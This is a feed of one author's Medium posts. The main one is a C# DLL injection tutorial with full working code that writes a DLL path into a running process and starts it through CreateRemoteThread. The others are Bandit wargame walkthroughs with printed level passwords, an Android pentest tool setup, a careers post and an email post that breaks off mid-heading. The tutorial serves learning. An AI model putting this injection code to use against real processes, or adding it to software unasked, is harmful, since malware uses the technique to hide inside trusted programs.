            <link>https://medium.com/@raoopf/mastering-the-art-of-dll-injection-59e0b3a432fd?source=rss-2660e793df1b------2</link>
            <guid isPermaLink="false">https://medium.com/p/59e0b3a432fd</guid>
            <category><![CDATA[dll-injection]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[process-injection]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Rao Ahmed]]></dc:creator>
            <pubDate>Fri, 29 May 2026 12:55:05 GMT</pubDate>
            <atom:updated>2026-06-20T08:08:28.971Z</atom:updated>
            <content:encoded><![CDATA[<h4>Detailed Step-by-Step Guide on DLL Injection with Code</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A451pQAWfuAyDPu4b0xGEw.png" /></figure><blockquote><strong>Note:</strong> <strong>This article was originally published on the </strong><a href="https://ist.edu.pk/research?page=649&amp;section=dll-injection"><strong>Institute of Space Technology Website</strong></a><strong>. You can read the original post and download the PDF version directly from the portal.</strong></blockquote><p>Hey there! If you’ve been diving into cybersecurity, malware research, or Windows internals, you’ve likely run across the term <strong>DLL Injection</strong>. It’s one of those classic, essential techniques that every researcher needs to understand.</p><p>Today, we are going to demystify it completely. We’ll look at what it is, break down exactly how it works step-by-step, and look at the actual code to make it happen.</p><blockquote><strong>Note:</strong> I am using <strong>C#</strong> for this project, so all the code we’ll look at is written in C#. But if you are working in C++, go, or another language, don’t worry — the fundamental steps are exactly the same, only the syntax changes.</blockquote><p><strong>Link to Gihub Project :- </strong><a href="https://github.com/RaoAhmed/DLL-Injector"><strong>RaoAhmed/DLL-Injector: Master The Art OF DLL Injection</strong></a></p><h3>What <em>is</em> <em>DLL</em> Injection?</h3><p>Before we look at the mechanics, let’s make sure we understand what a DLL file really is.</p><blockquote>“A <strong>DLL (Dynamic Link Library)</strong> is simply a file that contains code and data that more than one program can use at the same time.”</blockquote><p>Think of it like a shared toolbox; instead of every program buying its own hammer, they all just borrow the hammer from the shared DLL toolbox when they need it. As simple as that.</p><p>So at its simplest:</p><blockquote>“DLL Injection is a technique used to run arbitrary code inside the memory space of another running process.”</blockquote><p><strong>Real-world Analogy: </strong>Imagine you want to check inside a highly secure bank vault, but you aren’t allowed in. However, the bank regularly hires a specific cleaning crew. DLL injection is the equivalent of slipping your own specialist into that trusted cleaning crew. The bank trusts the crew, lets them right in, and suddenly your specialist is inside the vault, executing your instructions.</p><p>So, why do people use it? There are both good and malicious reasons behind it. While malware often uses this technique to hide inside legitimate processes (like explorer.exe or a web browser) to evade detection, developers and security engineers also use it for legitimate purposes—such as debugging, monitoring, or creating game modifications.</p><h3>The P/Invoke Setup: APIs To Import</h3><p>Before we get to the spicy things, we need to import a few Windows APIs into our C# project. We will look at exactly when and where each of them is used as we move through the article, but for now, let’s get them defined:</p><pre>[DllImport(&quot;kernel32.dll&quot;)]<br>public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);<br><br>[DllImport(&quot;kernel32.dll&quot;, CharSet = CharSet.Auto)]<br>public static extern IntPtr GetModuleHandle(string lpModuleName);<br><br>[DllImport(&quot;kernel32&quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]<br>static extern IntPtr GetProcAddress(IntPtr hModule, string procName);<br><br>[DllImport(&quot;kernel32.dll&quot;, SetLastError = true, ExactSpelling = true)]<br>static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);<br><br>[DllImport(&quot;kernel32.dll&quot;, SetLastError = true)]<br>static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);<br><br>[DllImport(&quot;kernel32.dll&quot;)]<br>static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);<br><br>[DllImport(&quot;kernel32.dll&quot;, SetLastError = true)]<br>static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);<br><br>[DllImport(&quot;kernel32.dll&quot;, SetLastError = true)]<br>static extern bool GetExitCodeThread(IntPtr hThread, out IntPtr lpExitCode);</pre><p>We also need to define these constants for our memory permissions and process rights:</p><pre>const int PROCESS_CREATE_THREAD = 0x0002;<br>const int PROCESS_QUERY_INFORMATION = 0x0400;<br>const int PROCESS_VM_OPERATION = 0x0008;<br>const int PROCESS_VM_WRITE = 0x0020;<br>const int PROCESS_VM_READ = 0x0010;<br><br>// Used for memory allocation<br>const uint MEM_COMMIT = 0x00001000;<br>const uint MEM_RESERVE = 0x00002000;<br>const uint PAGE_READWRITE = 4;<br><br>// Constants for debugging purpose<br>const uint INFINITE = 0xFFFFFFFF;</pre><h3>How DLL Injection Works (The 4 Main Steps)</h3><p>Now Let’s have a look at the spicy things. To inject a DLL into a target process, our injector program has to follow 4main steps. If it sounds a bit confusing right now, don’t worry. We are going to break down each step in detail with the code, so you won’t have to guess how to write it yourself.</p><p>At a high level, here is our game plan:</p><ol><li><strong>Find and Open</strong> the Target Process</li><li><strong>Allocate Memory</strong> inside that Target Process</li><li><strong>Write the DLL Path</strong> into that newly allocated memory</li><li><strong>Force the Target Process</strong> to load and run our DLL</li></ol><p>Let’s dive into them one by one.</p><h3>Step 1: Find and Open the Target Process</h3><p>Here’s a logical question for you: <strong><em>How does our injector actually know which process to target?</em></strong></p><p>Here’s the answer, we have to find the target application, grab its Process ID (PID), and use the OpenProcess API to get an open handle to it. This handle is crucial—it&#39;s what tells our injector exactly where to allocate memory, where to write the path, and which process will execute our code. In simple terms, this handle gives us the explicit permissions we need to interact with it.</p><p>Our sub-steps here are straightforward:</p><ul><li>Use GetProcessesByName() to find the target process and grab its PID.</li><li>Pass that PID to OpenProcess() along with the specific access flags we need.</li></ul><h4><strong>Let’s look at the code</strong></h4><pre>Process targetProcess = null;<br>Process[] processes = Process.GetProcessesByName(&quot;Notepad&quot;);<br><br>if (processes.Length &gt; 0)<br>{<br>    targetProcess = processes[0];<br>    Console.WriteLine($&quot;Found Notepad PID: {targetProcess.Id}&quot;);<br>}<br>else<br>{<br>    Console.WriteLine(&quot;Notepad is not running.&quot;);<br>    return;<br>}<br><br>// Getting the handle of the process - with required privileges<br>IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);</pre><h4><strong>Code Breakdown</strong></h4><ul><li>Process.GetProcessesByName(&quot;Notepad&quot;) searches for all currently running instances of our target process (Notepad in this case).</li><li>processes.Length &gt; 0 checks whether at least one matching instance exists.</li><li>We then select the first matching process from the returned array using targetProcess = processes[0]; (because multiple sub-processes could be running, but we only need one).</li><li>Finally, we read the PID via targetProcess.Id and pass it to OpenProcess with specific access rights: PROCESS_CREATE_THREAD, PROCESS_QUERY_INFORMATION, PROCESS_VM_OPERATION, PROCESS_VM_WRITE, and PROCESS_VM_READ.</li></ul><blockquote><strong>Pro Tip:</strong> Create a new instance of the target process (e.g., <em>notepad.exe</em>) so you don’t have to worry about whether the process is already running or not.</blockquote><h3>Step 2: Allocate Memory in the Target Process</h3><p>Now that we have our process handle, we want to write our DLL path into that process. But here is the next question: <strong><em>Where exactly do we write it?</em></strong></p><p>This is where VirtualAllocEx comes into play. We can&#39;t just throw data directly into another program&#39;s brain; we need to carve out a specific room for it first. We use VirtualAllocEx to allocate an empty chunk of memory inside that remote target process. Keep this in mind: this chunk only needs to be just big enough to hold the text string of our DLL&#39;s file path.</p><p>Here is how we handle it:</p><ul><li>Store the full path of the DLL we want to inject.</li><li>Call VirtualAllocEx() to reserve enough space for that string.</li><li>Use the PAGE_READWRITE flag so we are allowed to write data into that new space.</li></ul><p>VirtualAllocEx() returns the base address of the allocated memory inside the target process.</p><h4>Let’s look at the code</h4><pre>// Name of the dll we want to inject<br>string dllName = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, &quot;TestDLL.dll&quot;); // Build DLL path in same folder<br>Console.WriteLine(dllName);<br><br>// Allocating some memory on the target process - enough to store the name of the dll<br>// and storing its address in a pointer<br>IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);<br><br>Console.WriteLine(&quot;Virtual Allocation Successful&quot;);</pre><h4>Code Breakdown</h4><ul><li>Path.Combine(AppDomain.CurrentDomain.BaseDirectory, &quot;TestDLL.dll&quot;) builds the path to our DLL. For this to work perfectly, just make sure your payload DLL is sitting in the exact same folder as your injector executable.</li><li>We then call VirtualAllocEx() to carve out that space using these arguments:<br>- procHandle: The target process handle we successfully got from Step 1.<br>- IntPtr.Zero: This tells Windows to automatically choose the best memory location for us.<br>- (dllName.Length + 1) * Marshal.SizeOf(typeof(char)): Calculates our exact required size. The + 1 is crucial because it leaves space for the null terminator at the end of the string.<br>- MEM_COMMIT | MEM_RESERVE: Flags that tell Windows to both reserve and commit virtual memory pages in the remote process right away.<br>- PAGE_READWRITE: Grants us permissions to read and write to this specific chunk.</li><li>IntPtr allocMemAddress stores the resulting pointer to the base address of this brand new memory space.</li></ul><h3>Step 3: Write the DLL Path into the Target’s Memory</h3><p><strong><em>We have our process handle and we successfully carved out an empty room. So, how do we copy our DLL’s path string into that allocated space?</em></strong></p><p>Simple: we use the WriteProcessMemory API.</p><blockquote><strong><em>Important Concept Check:</em></strong><em> Notice that in </em>DLL injection<em>, we are not writing the actual bytes of the DLL file itself into the process memory. We are only writing the </em>text path<em> pointing to where our DLL lives on the disk. This is a key difference from </em>Process Injection<em>, where you would write raw shellcode directly into memory!</em></blockquote><p>Here are the sub steps:</p><ol><li>Call the WriteProcessMemory() API to write the DLL path into the allocated memory.</li><li>Ensure to convert the DLL path string into a byte array before writing it into the memory.</li></ol><h4>Let’s see how simple this step looks in code:</h4><pre>// Writing the name of the dll there<br>UIntPtr bytesWritten;<br>WriteProcessMemory(procHandle, allocMemAddress, Encoding.Default.GetBytes(dllName), (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);</pre><h4>Code Breakdown</h4><ul><li>UIntPtr bytesWritten declares an empty variable that will catch and store the number of bytes that actually get written.</li><li>We call WriteProcessMemory() using these key parameters:<br>- procHandle: Tells Windows which process we are writing into.<br>- allocMemAddress: The destination memory address we just allocated in Step 2.<br>- Encoding.Default.GetBytes(dllName): Converts our C# string path into a raw byte array so the Win32 API can handle it.<br>- (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))): Tells the API exactly how many bytes to write (including that null terminator).<br>- out bytesWritten: Receives the confirmation count of bytes written.</li></ul><h3>Step 4: Force the Target Process to Load the DLL</h3><p>Now for the final question. <strong><em>We have successfully copied our DLL path string into the target process’s memory space… but it’s just sitting there. It hasn’t been loaded or executed yet. How do we make the target process actually read it and run it?</em></strong></p><p>Welcome to what I call the <strong>magic step</strong>. The target process has no idea it needs to load our DLL until we explicitly tell it to. To make this easy to digest, let’s break this down into two distinct concepts: Looking up the loader, and executing it.</p><h4>1. The LoadLibraryA Look Up</h4><p>A DLL won’t load itself. Windows relies on a built-in function called LoadLibraryA (which lives inside kernel32.dll) to load external libraries into a running process. <strong><em>But how do we know where </em></strong><strong><em>LoadLibraryA is located inside our target process?</em></strong></p><p>Here’s the trick: kernel32.dll is randomized via ASLR, but it is loaded at the <em>exact same memory address</em> across almost all processes on a given boot. That means we can simply look up where LoadLibraryA lives inside our <em>own</em> injector process, and we instantly know exactly where it lives inside the target process too!</p><h4>2. Executing the DLL</h4><p>Once we have that function address, we use the CreateRemoteThread API to tell the target process: <em>&quot;Hey, create a brand new thread inside yourself. Point that thread&#39;s execution directly at </em><em>LoadLibraryA, and pass the address of our DLL path string as its input parameter.&quot;</em></p><p>Here are the sub steps:</p><ol><li>Get the address of LoadLibraryA from kernel32.dll using GetModuleHandle() and GetProcAddress().</li><li>Create a remote thread in the target process using CreateRemoteThread() and pass the LoadLibraryA address with the DLL path stored at allocMemAddress</li><li>This causes the target process to load and execute the injected DLL.</li></ol><h4>Let’s look at how this comes together in code</h4><pre>// Searching for the address of LoadLibraryA and storing it in a pointer<br>IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle(&quot;kernel32.dll&quot;), &quot;LoadLibraryA&quot;);<br><br>// Creating a thread that will call LoadLibraryA with allocMemAddress as argument<br>IntPtr hThread = CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero);<br><br>if (hThread == IntPtr.Zero) <br>{ <br>    Console.WriteLine(&quot;CreateRemoteThread failed&quot;); <br>    Console.WriteLine(Marshal.GetLastWin32Error()); <br>    return 0; <br>}<br><br>Console.WriteLine(&quot;Remote thread created&quot;);<br>WaitForSingleObject(hThread, INFINITE);<br><br>// Get base address of the injected Dll<br>IntPtr remoteDllBase; <br>GetExitCodeThread(hThread, out remoteDllBase); <br>Console.WriteLine($&quot;Remote DLL Base: 0x{remoteDllBase.ToInt64():X}&quot;);</pre><h4>Code BreakDown</h4><ul><li>GetModuleHandle(&quot;kernel32.dll&quot;) fetches the base memory address of kernel32.dll in our local process context.</li><li>GetProcAddress() searches inside that handle to find the exact export address of the LoadLibraryA function.</li><li>We pass that information to CreateRemoteThread(), breaking down its arguments like this:<br>- procHandle: The target process where the new thread will be born.<br>- IntPtr.Zero: Instructs Windows to use default security descriptors for the thread.<br>- 0: Configures the thread to use the default execution stack size.<br>- loadLibraryAddr: The starting address where the new thread should begin execution (our target LoadLibraryA function).<br>- allocMemAddress: The address of the string path we wrote in Step 3. This acts as the single parameter passed straight into LoadLibraryA.<br>- 0: A flag telling the thread to run immediately upon creation instead of starting suspended.<br>- IntPtr.Zero: Tells Windows we don&#39;t need a separate variable to store the new Thread ID.</li><li>if (hThread == IntPtr.Zero) acts as our safety check to make sure the thread was successfully created. If it returns zero, we print out the Windows error code using Marshal.GetLastWin32Error().</li><li>WaitForSingleObject(hThread, INFINITE) pauses our injector&#39;s execution until our remote thread finishes its job. This ensures that the target process has completely finished loading our DLL before we move forward.</li><li>GetExitCodeThread(hThread, out remoteDllBase) grabs the final return value of that remote thread. Since the thread ran LoadLibraryA, its return value is the actual remote base memory address of our newly loaded DLL!</li></ul><h3>Wrapping Up</h3><p>And there you have it! By stringing together standard Windows APIs — OpenProcess, VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread—we’ve safely forced an entirely external process to adopt our custom DLL logic.</p><p>I have broken it down into simple terms and real word analogy like opening a door, carving out a room, pasting your script, and pulling the execution trigger, the underlying architecture becomes much cleaner and easier to understand.</p><p>Next, we will see how we can call a remote function and pass data to that function.</p><h3>Common Errors</h3><p><strong>Remote DLL Base: 0x0 :-</strong>If you see <em>Remote DLL Base 0x0</em>, it means that your DLL did not load.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*UQRx5IioKfe4sqbOW8qUfA.png" /><figcaption>DLL Faild To Load</figcaption></figure><p>One common reason is an architecture mismatch. Make sure that both the DLL and the injector have the same architecture as Shown below. A 32‑bit process cannot load a 64‑bit DLL, and a 64‑bit process cannot load a 32‑bit DLL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3IlCaTL00_UGmIKPGzsuWQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=59e0b3a432fd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bandit level 18 Walkthrough | OverTheWire Guide]]></title>
            <link>https://medium.com/@raoopf/bandit-level-18-walkthrough-overthewire-guide-d3a3c90b6c91?source=rss-2660e793df1b------2</link>
            <guid isPermaLink="false">https://medium.com/p/d3a3c90b6c91</guid>
            <category><![CDATA[terminal]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[basics]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Rao Ahmed]]></dc:creator>
            <pubDate>Wed, 05 Feb 2025 07:08:50 GMT</pubDate>
            <atom:updated>2025-02-05T16:23:58.439Z</atom:updated>
            <content:encoded><![CDATA[<h4>Cracking Through Bandit Level 18</h4><h4>Bypassing the Modified .bashrc</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*PscKtL_7C-agYXCiIySN1g.png" /></figure><h3>The Challenge</h3><p>In this level of the Bandit wargame on <strong>OverTheWire</strong>, we face a unique challenge. The password for the next level is stored in a file named readme in the home directory. However, the problem is that someone has modified the .bashrc file to log the user out when they log in via SSH.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FzRs6DZdOia8%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DzRs6DZdOia8&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FzRs6DZdOia8%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/cd0730706306fdddd46a2479bb6f5785/href">https://medium.com/media/cd0730706306fdddd46a2479bb6f5785/href</a></iframe><h3>The Solution</h3><p>To bypass this obstacle and access the shell, we need to execute a command directly through SSH, without relying on the modified .bashrc file.</p><p>Here’s how we can do it:</p><ul><li>First, let’s use the ls command to confirm that the readme file is indeed present in the home directory:</li></ul><pre>ssh bandit18@bandit.labs.overthewire.org ls</pre><p>This will list the contents of the home directory without actually logging in</p><ul><li>Now, we can use the cat command to read the contents of the readme file:</li></ul><pre>ssh bandit18@bandit.labs.overthewire.org cat readme</pre><p>This will output the password for the next level, which is stored in the readme file.</p><p>By executing the commands directly through SSH, we can bypass the modified .bashrc file and access the shell without being logged out immediately.</p><h3>Conclusion</h3><p>In this Bandit level, we encountered a unique challenge where the typical login process was disrupted by a modified .bashrc file. By using the SSH command to execute specific tasks, we were able to bypass this obstacle and retrieve the password for the next level.</p><p>Remember, in the world of cybersecurity and hacking, thinking outside the box and exploring alternative solutions can often be the key to success. Keep practicing, and you’ll continue to improve your problem-solving skills.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d3a3c90b6c91" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cracking the Code: Bandit Level 17 Walkthrough]]></title>
            <link>https://medium.com/@raoopf/cracking-the-code-bandit-level-18-walkthrough-8c4a86f1c067?source=rss-2660e793df1b------2</link>
            <guid isPermaLink="false">https://medium.com/p/8c4a86f1c067</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[games]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[terminal]]></category>
            <dc:creator><![CDATA[Rao Ahmed]]></dc:creator>
            <pubDate>Mon, 03 Feb 2025 03:23:21 GMT</pubDate>
            <atom:updated>2025-02-03T04:38:32.821Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mr5pu-vJJasf9LCBrDWWbg.png" /></figure><h3>Goal</h3><p>In this level, our task is to find the password to move on to the next stage. We have two files in the home directory: passwords.old and passwords.new. The password we need is in passwords.new, and it’s the only line that has changed compared to passwords.old.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FJJ5SdpL8Xsk%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DJJ5SdpL8Xsk&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FJJ5SdpL8Xsk%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/0443ff717cdce9c83a888ab4ff56d68a/href">https://medium.com/media/0443ff717cdce9c83a888ab4ff56d68a/href</a></iframe><h3>Steps</h3><ol><li><strong>Locate the Files</strong>: We have two files: passwords.old and passwords.new in the home directory.</li><li><strong>Use the </strong><strong>diff Command</strong>: To identify the differences between the two files, we will use the diff command as follows:</li></ol><pre>diff passwords.old passwords.new</pre><h3>Explanation</h3><p>The output of the diff command highlights the differences between the two files. Here’s how to interpret the output:</p><ul><li>42c42 indicates there is a change starting on line 42.</li><li>&lt; shows the line from passwords.old.</li><li>--- separates the two versions of the file.</li><li>&gt; indicates the line from passwords.new.</li></ul><p>From the output, we see that on line 42:</p><ul><li>The password in passwords.old is:</li></ul><pre>ktfgBvpMzWKR5ENj26IbLGSblgUG9CzB</pre><ul><li>The password in passwords.new is:</li></ul><pre>x2gLTTjFwMOhQ8oWNbMN362QKxfRqGlO</pre><p>Thus, the password we need to log in to Bandit Level 18 is x2gLTTjFwMOhQ8oWNbMN362QKxfRqGlO.</p><h3>Conclusion</h3><p>After entering the password, you should see the message:</p><pre>&quot;Bye-bye! Connection to bandit.labs.overthewire.org closed.&quot;</pre><p>And that’s it for this level! Stay tuned for other walkthroughs.</p><p>Until next time, happy hacking! 😊</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8c4a86f1c067" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Setting Up Mobile Pentesting Environment]]></title>
            <link>https://medium.com/@raoopf/setting-up-mobile-pentesting-environment-6ba2109ed46f?source=rss-2660e793df1b------2</link>
            <guid isPermaLink="false">https://medium.com/p/6ba2109ed46f</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[mobile-app-development]]></category>
            <dc:creator><![CDATA[Rao Ahmed]]></dc:creator>
            <pubDate>Sun, 13 Oct 2024 04:33:42 GMT</pubDate>
            <atom:updated>2024-10-13T04:33:42.313Z</atom:updated>
            <content:encoded><![CDATA[<h3>Setting Up Your Android Penetration Testing Environment with Memu, Frida, and More</h3><p>In this blog post, we’ll walk you through the steps to set up an efficient Android pentest environment using several powerful tools. This guide will cover the installation of the Memu Emulator, JADX-GUI, Python, Frida, ADB, and Objection, providing you with a comprehensive toolkit for Android app analysis and pentesting.</p><h3>Tools You Will Need</h3><ol><li><a href="https://www.memuplay.com/download.html"><strong>Memu Emulator</strong></a> - A versatile Android emulator.</li><li><a href="https://github.com/skylot/jadx/releases"><strong>JADX-GUI</strong></a> - A decompiler for Android applications.<br>Download: <strong>jadx-gui-1.5.0-with-jre-win.zip</strong></li><li><a href="https://www.python.org/downloads/"><strong>Python</strong></a> - A programming language essential for running various scripts.</li><li><strong>Frida</strong> - A dynamic instrumentation toolkit for developers.<br>Install using <strong>python -m pip install frida</strong></li><li><a href="https://github.com/frida/frida/releases"><strong>Frida Server</strong></a> - The server component of Frida for Android. <br>Download: <strong>frida-server-16.5.2-android-x86_64.xz</strong></li><li><a href="https://developer.android.com/tools/releases/platform-tools"><strong>ADB</strong></a> - Android Debug Bridge, a versatile command-line tool. <br>Download: <strong>SDK Platform-Tools for Windows.</strong></li><li><strong>Objection</strong> - A tool for mobile application security assessments.<br>Download Using following Commands:</li></ol><pre>python -m pip install setuptools<br>python -m pip install objection</pre><h3>Installation Steps</h3><h3>Step 1: Install Memu Emulator</h3><p>Download and install Memu Emulator from the official site. Follow the on-screen instructions for a smooth installation.</p><h3>Step 2: Install JADX-GUI</h3><p>Download the jadx-gui-1.5.0-with-jre-win.zip file and extract it. This version includes the Java Runtime Environment, making it easier to run.</p><h3>Step 3: Install Python</h3><p>Download Python from the official website and follow the installation prompts. Ensure that you check the box to add Python to your system PATH.</p><h3>Step 4: Install Frida</h3><p>Open your command prompt and run the following command to install Frida:</p><pre>python -m pip install frida</pre><h3>Step 5: Install Frida Server</h3><p>Download the Frida server for Android, extract the files, and keep them ready for the next steps.</p><h3>Step 6: Install ADB</h3><p>Download the SDK Platform-Tools for Windows and extract the files to a convenient location.</p><h3>Step 7: Install Objection</h3><p>Run the following commands in your command prompt:</p><pre>python -m pip install setuptools<br>python -m pip install objection</pre><h3>Setup Steps</h3><p>Now that you have all the tools installed, let’s set them up properly.</p><h3>Step 1: Open Command Prompt</h3><p>Navigate to the folder where you extracted ADB and open the command prompt.</p><h3>Step 2: Push Frida Server to Android Device</h3><blockquote>Before running the following commands, make sure your emulator is running.</blockquote><p>Run the following command, replacing path\to\the\frida_server with the actual path to the extracted Frida server:</p><pre>adb push &quot;path\to\the\frida_server&quot; /data/local/tmp</pre><h3>Step 3: Enter ADB Shell</h3><p>Now, run the ADB shell:</p><pre>adb shell</pre><h3>Step 4: Change Directory</h3><p>Change the directory to where you placed the Frida server:</p><pre>cd /data/local/tmp</pre><h3>Step 5: Grant Execution Permissions</h3><p>Give execution permissions to the Frida server:</p><pre>chmod +x ./frida-server-16.5.5-android-x86_64</pre><h3>Step 6: Run Frida Server</h3><p>Finally, start the Frida server with the following command:</p><pre>./frida-server-16.5.5-android-x86_64</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QOfECMivcIaHZFXwKhcvqA.png" /></figure><h3>! Setup completed 😁</h3><p>now you are all setup to go.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6ba2109ed46f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unlocking Opportunities with Forage Job Simulations]]></title>
            <link>https://medium.com/@raoopf/unlocking-opportunities-with-forage-job-simulations-62f0df2d53dd?source=rss-2660e793df1b------2</link>
            <guid isPermaLink="false">https://medium.com/p/62f0df2d53dd</guid>
            <category><![CDATA[techcareerboost]]></category>
            <category><![CDATA[internships]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[jobs]]></category>
            <dc:creator><![CDATA[Rao Ahmed]]></dc:creator>
            <pubDate>Wed, 28 Aug 2024 07:18:24 GMT</pubDate>
            <atom:updated>2024-08-28T07:18:24.318Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JhzCYhpjXRm-rlqH" /></figure><p>In today’s tough job market, getting good experience is important for those wanting to improve their careers. One new way to get this experience is through virtual internships and simulations from Forage. These programs let students and job seekers do real tasks and develop skills that bosses want.</p><h3>DISCLAIMERS:</h3><blockquote>This article is for learning purposes only. There is no promise of earning money through any methods or financial plans talked about here. All job chances mentioned are public information from the companies. My goal is to share helpful tips and help you on your path. I do not claim ownership or special rights to any content unless said otherwise.</blockquote><h3>What is Forage?</h3><p>Forage offers a platform where users find virtual work experience programs designed by top companies. These simulations help you understand the daily duties of different jobs and also add to your resume with real experiences. Whether you’re curious about cyber security, finance, marketing, or software development, Forage has options for you.</p><h3><strong>Benefits of Forage Simulations</strong></h3><ol><li><strong>Hands-On Experience</strong> — Each simulation lets you try what it’s like to work in a specific industry. You’ll handle real situations that professionals face.</li><li><strong>Flexible Learning</strong> — The programs are self-paced, so you can finish them when you have time. This flexibility suits students balancing studies and other activities.</li><li><strong>Certificate of Completion —</strong> After finishing a simulation, you receive a certificate you can show on your LinkedIn profile or resume, boosting your job applications.</li><li><strong>Networking Opportunities</strong> — By joining these simulations, you might also learn from industry professionals, helping with future connections.</li></ol><h3>Explore the Simulations</h3><p>If you’re ready to move forward in your career, check out the following simulations on Forage:</p><p><a href="https://www.theforage.com/simulations">Forage</a></p><p>These programs aim not just to teach but to give you the skills and confidence needed to succeed in your field.</p><h3>Conclusion</h3><p>Forage offers a unique chance to gain experience that can help you stand out in a tough job market. By doing these simulations, you’ll not only learn good skills but also show your commitment to career growth. Start exploring today and take an important step towards your career goals!<br>For more information and to get started, visit <a href="https://www.theforage.com/simulations">Forage Job Simulations</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=62f0df2d53dd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Working Of Email]]></title>
            <link>https://medium.com/@raoopf/working-of-email-87274342640f?source=rss-2660e793df1b------2</link>
            <guid isPermaLink="false">https://medium.com/p/87274342640f</guid>
            <dc:creator><![CDATA[Rao Ahmed]]></dc:creator>
            <pubDate>Mon, 15 Apr 2024 05:03:56 GMT</pubDate>
            <atom:updated>2024-04-15T05:03:56.343Z</atom:updated>
            <content:encoded><![CDATA[<h4>Protocols and commands used in sending and receiving emails</h4><p>Before we look how emails work, lets look at some of the terms you need to know:</p><h4>Push vs Pull Emails:</h4><ul><li><strong>Pull Method:</strong> It relies on manual retrieval of email messages by the recipient’s device from the server at regular intervals.</li><li><strong>Push Method:</strong> It relies on a remote server to tell your device when new emails have arrived. It automatically delivers the email messages to a recipient’s device.</li></ul><p>Most email systems operate based on the <strong>PULL Method</strong>.</p><h4>Protocols used by Emails:</h4><ul><li><strong>SMTP:</strong> Simple Mail Transfer Protocol (SMTP) is an Internet standard for <strong>email transmission.</strong></li><li><strong>POP / IMAC:</strong> POP or IMAC protocols are used to <strong>retrieve email</strong> from the mail server, both of which involve pulling emails from the server to the client.</li></ul><h4>Ports Used By Emails:</h4><ul><li><strong>Outgoing Port :</strong> SMTP use <strong>port 25</strong> to send email</li><li><strong>Incoming Port:</strong> POP3 use <strong>port 110</strong> to receive email.</li></ul><h4>What Is a Mail Server:</h4><blockquote>A mail server is a computer or software application that handles the sending, receiving, storage, and management of email messages. It acts as the central hub for email communication. It stores incoming messages in mailboxes and delivers them to the intended recipients when requested.</blockquote><h3>Working Of 